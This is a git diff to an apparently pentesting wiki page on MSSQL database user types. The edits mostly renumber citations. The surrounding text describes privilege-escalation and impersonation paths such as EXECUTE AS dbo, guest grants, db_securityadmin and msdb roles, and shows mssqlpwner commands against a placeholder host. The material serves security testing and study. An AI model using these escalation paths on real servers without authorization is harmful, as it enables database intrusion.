b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md index 6ee4bb0a641..036a39a9b07 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17).[[3]](#references) +Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17).[[1]](#references) | Column name | Data type | Description | | --------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | @@ -22,10 +22,6 @@ Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational | **default_language_lcid** | **int** |

Applies to: SQL Server 2012 (11.x) and later.

Signifies the default LCID for this principal.

| | **allow_encrypted_value_modifications** | **bit** |

Applies to: SQL Server 2016 (13.x) and later, SQL Database.

Suppresses cryptographic metadata checks on the server in bulk copy operations. This enables the user to bulk copy data encrypted using Always Encrypted, between tables or databases, without decrypting the data. The default is OFF.

| - - - - ## Offensive reading of `sys.database_principals` From an attacker perspective, this view is more useful than just a user list: @@ -94,9 +90,9 @@ ORDER BY name; - **`dbo`**: this is **not** the same as the `db_owner` role and **not** the same as the login recorded as database owner. If you can reach `EXECUTE AS USER = 'dbo'` or `EXECUTE AS OWNER`, explicit `DENY` on the original principal is not a reliable barrier anymore. - **`guest`**: every database has it. If `CONNECT` is available, users without a mapped database principal can inherit any permission granted to `guest`. Enumerate both `guest` and `public` grants when access seems broader than expected. - **Contained users and `WITHOUT LOGIN` users**: contained users are good pivot and persistence indicators because they do not depend on a server login. `WITHOUT LOGIN` users cannot authenticate directly, but Microsoft explicitly notes that they can connect to other databases as `guest`, so they are especially interesting when you already control execution context changes. -- **`db_securityadmin`**: this role can manage permissions and custom role membership, so it can often be turned into a stronger position even when it is not instant `sysadmin`. Fixed-role membership changes still require `db_owner`. +- **`db_securityadmin`**: this role can manage permissions and custom role membership, so it can often be turned into a stronger position even when it is not instant `sysadmin`. Fixed-role membership changes still require `db_owner`.[[2]](#references) - **`EXTERNAL_USER` / `EXTERNAL_GROUPS`**: in Azure SQL / SQL Managed Instance these are usually Microsoft Entra-backed identities. Do not ignore them during enumeration because they can own schemas, be role members, and participate in impersonation paths. Database-principal impersonation is supported even where server-level Entra impersonation is limited. -- **Special roles in `msdb`**: enumerate them separately. Microsoft documents that `db_ssisadmin` and `dc_admin` can become privilege-escalation material because Integration Services packages may end up executing through SQL Server Agent in a high-privilege context.[[1]](#references) +- **Special roles in `msdb`**: enumerate them separately. Microsoft documents that `db_ssisadmin` and `dc_admin` can become privilege-escalation material because Integration Services packages may end up executing through SQL Server Agent in a high-privilege context.[[2]](#references) If you find interesting `IMPERSONATE`, `db_owner`, or linked-server paths, continue from the main MSSQL page: @@ -106,7 +102,7 @@ README.md ## Tooling -[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) is currently one of the most convenient options to enumerate **linked-server** and **impersonation chains** automatically: +[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) is currently one of the most convenient options to enumerate **linked-server** and **impersonation chains** automatically:[[3]](#references) ```bash mssqlpwner corp.com/user:pass@10.10.10.10 enumerate @@ -116,8 +112,8 @@ mssqlpwner corp.com/user:pass@10.10.10.10 interactive ## References -- [1] [Microsoft Learn - Database-Level Roles](https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17) -- [2] [ScorpionesLabs - MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner) -- [3] [Microsoft Learn - sys.database_principals (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17) +- [1] [Microsoft Learn - sys.database_principals (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17) +- [2] [Microsoft Learn - Database-Level Roles](https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17) +- [3] [ScorpionesLabs - MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner) {{#include ../../banners/hacktricks-training.md}}